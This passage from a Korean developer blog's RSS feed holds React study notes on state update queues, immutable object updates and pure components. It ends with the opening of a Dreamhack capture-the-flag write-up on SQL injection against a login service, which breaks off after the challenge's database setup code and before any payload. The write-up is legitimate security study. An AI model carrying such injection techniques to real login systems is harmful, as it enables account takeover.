      &amp;lt;h3&amp;gt;Completed: {completed}&amp;lt;/h3&amp;gt;
      &amp;lt;button onClick={handleClick}&amp;gt;Buy&amp;lt;/button&amp;gt;
    &amp;lt;/&amp;gt;
  );
}

function delay(ms: number) {
  return new Promise((resolve) =&amp;gt; {
    setTimeout(resolve, ms);
  });
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`handleClick` 이벤트 핸들러 내부에서 `setPending(pending + 1)` 이후 `setPending(pending - 1)` 함수로 `pending`의 값을 변경한다. 이 때 `pending`은 0이므로 최종적으로 `pending`은 `0 - 1`이 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1717150740013&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;async function handleClick() {
  setPending((p) =&amp;gt; p + 1);
  await delay(3000);
  setPending((p) =&amp;gt; p - 1);
  setCompleted((c) =&amp;gt; c + 1);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;따라서 위와 같이 업데이터 함수를 전달해 클릭 당시의 state를 기반으로 연산하지 않고, 최신 state를 기반으로 동작하도록 변경해야 의도대로 동작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;state 큐를 직접 구현한다면 다음과 같이 해볼 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1717151172352&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function increment(n) {
  return n + 1;
}
increment.toString = () =&amp;gt; 'n =&amp;gt; n+1';

export default function App() {
  return (
    &amp;lt;&amp;gt;
      &amp;lt;TestCase
        baseState={0}
        queue={[1, 1, 1]}
        expected={1}
      /&amp;gt;
      &amp;lt;hr /&amp;gt;
      &amp;lt;TestCase
        baseState={0}
        queue={[
          increment,
          increment,
          increment
        ]}
        expected={3}
      /&amp;gt;
      &amp;lt;hr /&amp;gt;
      &amp;lt;TestCase
        baseState={0}
        queue={[
          5,
          increment,
        ]}
        expected={6}
      /&amp;gt;
      &amp;lt;hr /&amp;gt;
      &amp;lt;TestCase
        baseState={0}
        queue={[
          5,
          increment,
          42,
        ]}
        expected={42}
      /&amp;gt;
    &amp;lt;/&amp;gt;
  );
}

function TestCase({
  baseState,
  queue,
  expected
}) {
  const actual = getFinalState(baseState, queue);
  return (
    &amp;lt;&amp;gt;
      &amp;lt;p&amp;gt;Base state: &amp;lt;b&amp;gt;{baseState}&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;
      &amp;lt;p&amp;gt;Queue: &amp;lt;b&amp;gt;[{queue.join(', ')}]&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;
      &amp;lt;p&amp;gt;Expected result: &amp;lt;b&amp;gt;{expected}&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;
      &amp;lt;p style={{
        color: actual === expected ?
          'green' :
          'red'
      }}&amp;gt;
        Your result: &amp;lt;b&amp;gt;{actual}&amp;lt;/b&amp;gt;
        {' '}
        ({actual === expected ?
          'correct' :
          'wrong'
        })
      &amp;lt;/p&amp;gt;
    &amp;lt;/&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`TestCase` 컴포넌트에 props로 `baseState`, `queue`, `expected`가 전달된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-05-31 오후 7.24.16.png&quot; data-origin-width=&quot;2372&quot; data-origin-height=&quot;1488&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rPMoD/btsHJ7DwJ8v/vEkhYseQ83v5SmtgUs43k0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rPMoD/btsHJ7DwJ8v/vEkhYseQ83v5SmtgUs43k0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rPMoD/btsHJ7DwJ8v/vEkhYseQ83v5SmtgUs43k0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrPMoD%2FbtsHJ7DwJ8v%2FvEkhYseQ83v5SmtgUs43k0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2372&quot; height=&quot;1488&quot; data-filename=&quot;스크린샷 2024-05-31 오후 7.24.16.png&quot; data-origin-width=&quot;2372&quot; data-origin-height=&quot;1488&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`queue`를 순회해 타입이 `function`인 경우 해당 함수를 실행한다. 그 외에는 `finalState`를 덮어씌우면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1717151354007&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export function getFinalState(baseState, queue) {
  let finalState = baseState;

  for (let update of queue) {
    if (typeof update === &quot;function&quot;) {
      finalState = update(finalState);
    } else {
      finalState = update;
    }
  }

  return finalState;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Updating Objects in State&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;컴포넌트 state는 객체를 포함한 모든 종류의 값을 가질 수 있다. 그러나 객체의 경우 이를 직접적으로 변경해서는 안 된다. 객체를 업데이트 하려면 기존 객체의 복사본을 만들어 state가 복사본으로 업데이트 되도록 해야 한다. 객체가 아닌 숫자나 문자, 불리언 값의 경우 원시 값이기 때문에 불변성을 갖는다. 반면 객체나 배열의 경우 참조형이기 때문에 참조가 변경되지 않는다면 해당 객체나 배열의 변경을 감지할 수 없다.&lt;/p&gt;
&lt;pre id=&quot;code_1717151897774&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export default function MovingDot() {
  const [position, setPosition] = useState({
    x: 0,
    y: 0,
  });
  return (
    &amp;lt;div
      onPointerMove={(e) =&amp;gt; {
        position.x = e.clientX;
        position.y = e.clientY;
      }}
      style={{
        position: &quot;relative&quot;,
        width: &quot;100vw&quot;,
        height: &quot;100vh&quot;,
      }}
    &amp;gt;
      &amp;lt;div
        style={{
          position: &quot;absolute&quot;,
          backgroundColor: &quot;red&quot;,
          borderRadius: &quot;50%&quot;,
          transform: `translate(${position.x}px, ${position.y}px)`,
          left: -10,
          top: -10,
          width: 20,
          height: 20,
        }}
      /&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`position`에 할당된 객체를 `onPointerMove` 이벤트 핸들러에서 수정하고 있지만 React는 값의 변경을 감지하지 못한다.&lt;/p&gt;
&lt;pre id=&quot;code_1717152057929&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;setPosition({
  x: e.clientX,
  y: e.clientY,
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;그러나 위와 같이 새로운 객체를 만들어 전달하면 state를 새로운 객체로 교체하게 되고, 변경을 감지할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;배열도 마찬가지다.&lt;/p&gt;</description>
      <category>Note</category>
      <category>React</category>
      <author>장일영</author>
      <guid isPermaLink="true">https://oxahex.tistory.com/60</guid>
      <comments>https://oxahex.tistory.com/60#entry60comment</comments>
      <pubDate>Fri, 31 May 2024 19:50:17 +0900</pubDate>
    </item>
    <item>
      <title>순수한 컴포넌트</title>
      <link>https://oxahex.tistory.com/59</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;순수 함수&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;순수 함수는 두 가지 조건을 만족해야 한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;참조 투명성(Referential Transparency)&lt;/li&gt;
&lt;li&gt;부작용 없음(No Side Effects)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;아래 함수는 순수 함수라고 할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1717134183209&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function add(a, b) {
    return a + b;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;동일한 인자(`a`, `b`)가 주어지면 항상 동일한 결과를 반환한다. 또 이 함수의 결과가 외부의 상태를 변경하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;반면 아래 함수는 순수 함수라고 할 수 없다.&lt;/p&gt;
&lt;pre id=&quot;code_1717134246116&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;let count = 0;
function increase() {
    return ++count;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;함수 외부의 변수 `count`에 의존하고 있기 때문에 동일한 인자가 주어지더라도 다른 값을 반환할 수 있다. 다른 함수에서 `counter`에 접근할 수 있기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;따라서 순수 함수는 입력에만 의존하고, 외부의 상태를 변경하지 않는다. 항상 동일한 값을 반환하기 때문에 코드의 동작을 예측할 수 있고, 테스트하기 쉽다. 병렬 처리가 가능하고, 불변성을 유지하는 데 도움이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;순수한 컴포넌트&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;React는 이와 같은 컨셉을 기반으로 설계되었다. 따라서 React는 작성되는 모든 컴포넌트가 순수 함수일 것으로 가정한다. 즉, 같은 입력이 주어진다면 반드시 같은 JSX를 반환함을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;React에서 컴포넌트의 순수성이 중요한 이유는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;순수 함수는 동일한 결과를 반환하므로 캐시 처리하기 안전하다. 입력이 변경되지 않았다면 동일한 결과를 반환하므로 렌더링을 건너뛸 수 있다.&lt;/li&gt;
&lt;li&gt;컴포넌트 트리를 렌더링하는 도중 일부 데이터가 변경되는 경우 기존의 렌더링을 중간하고 렌더링을 다시  시작할 때 컴포넌트의 순수성이 보장된다면 연산을 중단하더라도 안전하다.&lt;/li&gt;
&lt;li&gt;컴포넌트가 서버에서 실행된다면(SSR) 동일한 props에 대해 항상 동일한 UI(HTML)를 생성하게 된다. 따라서 클라이언트에서 동일한 props로 컴포넌트를 재사용할 때 일관된 결과를 보장할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;공식 문서 챌린지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://ko.react.dev/learn/keeping-components-pure&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Keeping Components Pure&lt;/a&gt; 파트의 챌린지를 풀어보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Fix a broken clock&lt;/h4&gt;
&lt;pre id=&quot;code_1717136302597&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;type ClockProps = {
  time: Date
}
export default function Clock({ time }: ClockProps): React.ReactElement {
  let hours: number = time.getHours();
  if (hours &amp;gt;= 0 &amp;amp;&amp;amp; hours &amp;lt;= 6) {
    document.getElementById('time').className = 'night';
  } else {
    document.getElementById('time').className = 'day';
  }
  return (
      &amp;lt;h1 id=&quot;time&quot;&amp;gt;
        {time.toLocaleTimeString()}
      &amp;lt;/h1&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;자정부터 아침 6시까지는 `h1` 요소의 class를 `night`로 지정하고, 그 외의 시간에는 `day`로 설정하려 한다. 그러나 이 컴포넌트는 동작하지 않는다. 기본적으로 렌더링은 연산이지 무언가를 실행하려 해서는 안된다. 즉, 렌더링 과정은 순수 계산으로 이루어져야 한다. 문제의 코드에서 발생할 수 있는 사이트 이펙트는 무엇일까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;우선 React는 가상 DOM 기반의 렌더링 매커니즘을 바탕으로 한다. 여기에 `document.getElementById('time').className = ''`과 같이 실제 DOM에 직접적으로 접근하게 되면 리렌더링을 하는 동안 예상하지 못한 동작이나 성능적인 문제를 일으킬 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;또 컴포넌트를 초기 렌더링할 때 DOM 요소가 없다. 컴포넌트의 반환값이 아직 DOM에 적용되지 않은 시점에 `document.getElementById('time')`을 호출하면 해당 요소는 아직 존재하지 않으므로 `null`을 반환하고 그 이후의 `.className`과 같은 접근은 오류를 발생시킨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;위 코드를 React의 패러다임에 맞게 수정하려면 우선 className이 연산에 포함되어야 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1717137056447&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export default function Clock({ time }: ClockProps): React.ReactElement {
  let hours: number = time.getHours();
  let className: string;
  if (hours &amp;gt;= 0 &amp;amp;&amp;amp; hours &amp;lt;= 6) {
    className = &quot;night&quot;;
  } else {
    className = &quot;day&quot;;
  }
  return (
      &amp;lt;h1 className={className}&amp;gt;
        {time.toLocaleTimeString()}
      &amp;lt;/h1&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;그러면 `className`은 `time`이라는 props에만 의존한다. 즉 동일한 `time`에 대해서 동일한 `className`을 반환한다. 또, 직접 DOM에 접근하는 것이 아니라 계산이 완료된 `className`이 DOM 요소의 속성이 되기 때문에 외부 상태에 대한 의존성이 제거된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Fix a broken profile&lt;/h4&gt;
&lt;pre id=&quot;code_1717137576020&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function App() {
  return( &amp;lt;&amp;gt;
    &amp;lt;Profile person={{
      imageId: 'lrWQx8l',
      name: 'Subrahmanyan Chandrasekhar',
    }} /&amp;gt;
    &amp;lt;Profile person={{
      imageId: 'MK3eW3A',
      name: 'Creola Katherine Johnson',
    }} /&amp;gt;
  &amp;lt;/&amp;gt;)
}

export default App;&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1717137592042&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;type PersonType = {
  imageId: string,
  name: string
}

type ProfileProps = {
  person: PersonType
}

let currentPerson: PersonType;

export default function Profile({ person }: ProfileProps) {
  currentPerson = person;
  return (
      &amp;lt;Panel&amp;gt;
        &amp;lt;Header /&amp;gt;
        &amp;lt;Avatar /&amp;gt;
      &amp;lt;/Panel&amp;gt;
  )
}

function Header() {
  return &amp;lt;h1&amp;gt;{currentPerson.name}&amp;lt;/h1&amp;gt;;
}

function Avatar() {
  return (
      &amp;lt;img
          className=&quot;avatar&quot;
          src={getImageUrl(currentPerson)}
          alt={currentPerson.name}
          width={50}
          height={50}
      /&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;두 개의 `Profile` 컴포넌트가 서로 다른 데이터로 나란히 렌더링된다. 첫 번째 프로필에서 Collapse를 누른 다음 Expand를 누르면 두 프로필에 동일한 프로필이 표시된다. 버그의 원인은 무엇일까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;작성된 컴포넌트의 하이라키를 보면 최상위 컴포넌트인 `App.tsx`에서 `Profile` 컴포넌트를 나란히 호출하고 있다. 따라서 기대되는 결과는 화면에서 두 개의 `Profile` 컴포넌트가 독립적으로 동작하는 것이다. `App.tsx`의 코드를 보면 각각의 `Profile` 컴포넌트에 서로 다른 데이터를 넘겼음에도 렌더링이 다시 수행되면서 동일한 데이터를 넘겨 받은 것처럼 동작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`Profile` 컴포넌트에서 참조하고 있는 `currentPerson`는 `Profile` 컴포넌트 외부에서 글로벌 변수로 선언되어 있다. 따라서 `Profile` 컴포넌트가 렌더링 될 때마다 `currentPerson`에는 새로운 `person` 객체가 할당된다. 즉 `Profile` 컴포넌트가 여러 개 있다면 각각의 컴포넌트가 렌더링 될 때마다 `currentPerson`은 덮어씌워지고, 마지막으로 렌더링된 `Profile`의 `person` 데이터를 들고 있게 된다. 결과적으로 문제의 코드는 모든 `Profile` 컴포넌트가 하나의 상태를 공유하고 있는 것과 마찬가지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;이 문제를 해결하며면 모든 `Profile` 컴포넌트가 자신의 props를 독립적으로 관리하도록 수정해야 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1717138474495&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export default function Profile({ person }: ProfileProps) {
  return (
      &amp;lt;Panel&amp;gt;
        &amp;lt;Header person={person}/&amp;gt;
        &amp;lt;Avatar person={person}/&amp;gt;
      &amp;lt;/Panel&amp;gt;
  )
}

function Header({person}: ProfileProps) {
  return &amp;lt;h1&amp;gt;{person.name}&amp;lt;/h1&amp;gt;;
}

function Avatar({person}: ProfileProps) {
  return (
      &amp;lt;img
          className=&quot;avatar&quot;
          src={getImageUrl(person)}
          alt={person.name}
          width={50}
          height={50}
      /&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;그러면 각 `Profile` 컴포넌트는 독립적으로 자신이 받은 props인 `person`을 바탕으로 렌더링된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Fix a broken story tray&lt;/h4&gt;
&lt;pre id=&quot;code_1717139115927&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export default function StoryTray({ stories }: StoryTrayProps) {
  stories.push({
    id: 'create',
    label: 'Create Story'
  });

  return (
      &amp;lt;ul&amp;gt;
        {stories.map(story =&amp;gt; (
            &amp;lt;li key={story.id}&amp;gt;
              {story.label}
            &amp;lt;/li&amp;gt;
        ))}
      &amp;lt;/ul&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1717139086197&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;let initialStories: StoryType[] = [
  {id: 0, label: &quot;Ankit's Story&quot; },
  {id: 1, label: &quot;Taylor's Story&quot; },
];

function App() {
  let [stories, setStories] = useState&amp;lt;StoryType[]&amp;gt;([...initialStories])
  let time = useTime();

  // HACK: Prevent the memory from growing forever while you read docs.
  // We're breaking our own rules here.
  if (stories.length &amp;gt; 100) {
    stories.length = 100;
  }

  return (
      &amp;lt;div
          style={{
            width: '100%',
            height: '100%',
            textAlign: 'center',
          }}
      &amp;gt;
        &amp;lt;h2&amp;gt;It is {time.toLocaleTimeString()} now.&amp;lt;/h2&amp;gt;
        &amp;lt;StoryTray stories={stories} /&amp;gt;
      &amp;lt;/div&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;문제의 코드는 시계가 업데이트 될 때마다 Create Story 카드를 두 개씩 추가한다. 의도했던 동작은 Create Story 카드가 한 개만 추가되는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`stories`는 상위 컴포넌트인 `App.tsx`에서 전달된 props다. 이를 하위 컴포넌트인 `StoryTray` 내에서 직접적으로 수정하고 있다. 즉, `stories.push()` 함수는 `StoryTray` 컴포넌트가 렌더링되기 전에 호출되고, 매 초마다 `App.tsx`가 리렌더링 될 때, 하위 컴포넌트인 `StoryTray`도 리렌더링 된다. 그러나 `StoryTray`가 참조하는 `stories` 배열은 동일한 배열로 메모리 주소가 같다. 하지만 `StoryTray` 컴포넌트 내에서 원본 배열을 직접적으로 수정하고 있다. 따라서 리렌더링이 진행될 때마다 `stories` 배열(원본)에는 계속해서 같은 데이터가 추가된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;따라서 문제 코드를 정상 동작하도록 수정하려면 `stories` 배열의 불변성을 유지해야 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1717142006177&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;export default function StoryTray({ stories }: StoryTrayProps) {
  let display = stories.slice();
  display.push({
    id: 'create',
    label: 'Create Story'
  });

  return (
      &amp;lt;ul&amp;gt;
        {display.map(story =&amp;gt; (
            &amp;lt;li key={story.id}&amp;gt;
              {story.label}
            &amp;lt;/li&amp;gt;
        ))}
      &amp;lt;/ul&amp;gt;
  );
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;기존 배열을 복사해 `StoryTray` 컴포넌트 내부에서만 사용하는 배열을 생성해 이를 참조하도록 하면 `StoryTray` 컴포넌트가 리렌더링 되더라도 상위 컴포넌트의 `stories`에는 변경이 일어나지 않기 때문에 계속해서 데이터가 추가되는 것을 막을 수 있다.&amp;nbsp;&lt;/p&gt;</description>
      <category>Note</category>
      <category>React</category>
      <author>장일영</author>
      <guid isPermaLink="true">https://oxahex.tistory.com/59</guid>
      <comments>https://oxahex.tistory.com/59#entry59comment</comments>
      <pubDate>Fri, 31 May 2024 17:07:21 +0900</pubDate>
    </item>
    <item>
      <title>simple_sqli</title>
      <link>https://oxahex.tistory.com/58</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/24&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;24&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;로그인 서비스입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;정보&lt;/h2&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;`POST /login` 요청 시 HTTP Request와 Response는 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-05-24 오후 7.13.12.png&quot; data-origin-width=&quot;1694&quot; data-origin-height=&quot;782&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cb1gch/btsHAyhBc5D/sw0pO6SwYfS8MBHUB9B1y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cb1gch/btsHAyhBc5D/sw0pO6SwYfS8MBHUB9B1y0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cb1gch/btsHAyhBc5D/sw0pO6SwYfS8MBHUB9B1y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcb1gch%2FbtsHAyhBc5D%2Fsw0pO6SwYfS8MBHUB9B1y0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1694&quot; height=&quot;782&quot; data-filename=&quot;스크린샷 2024-05-24 오후 7.13.12.png&quot; data-origin-width=&quot;1694&quot; data-origin-height=&quot;782&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;유저로부터 `userid`, `userpassword` 값을 입력 받아 서버로 전송한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;서버 측에서 실행되는 코드는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;서버 구동 시 아래 DDL을 실행해 `users` 테이블에 초기값을 밀어 넣는다.&lt;/p&gt;
&lt;pre id=&quot;code_1716686902901&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;DATABASE = &quot;database.db&quot;
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100));')
    db.execute(f'insert into users(userid, userpassword) values (&quot;guest&quot;, &quot;guest&quot;), (&quot;admin&quot;, &quot;{binascii.hexlify(os.urandom(16)).decode(&quot;utf8&quot;)}&quot;);')
    db.commit()
    db.close()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
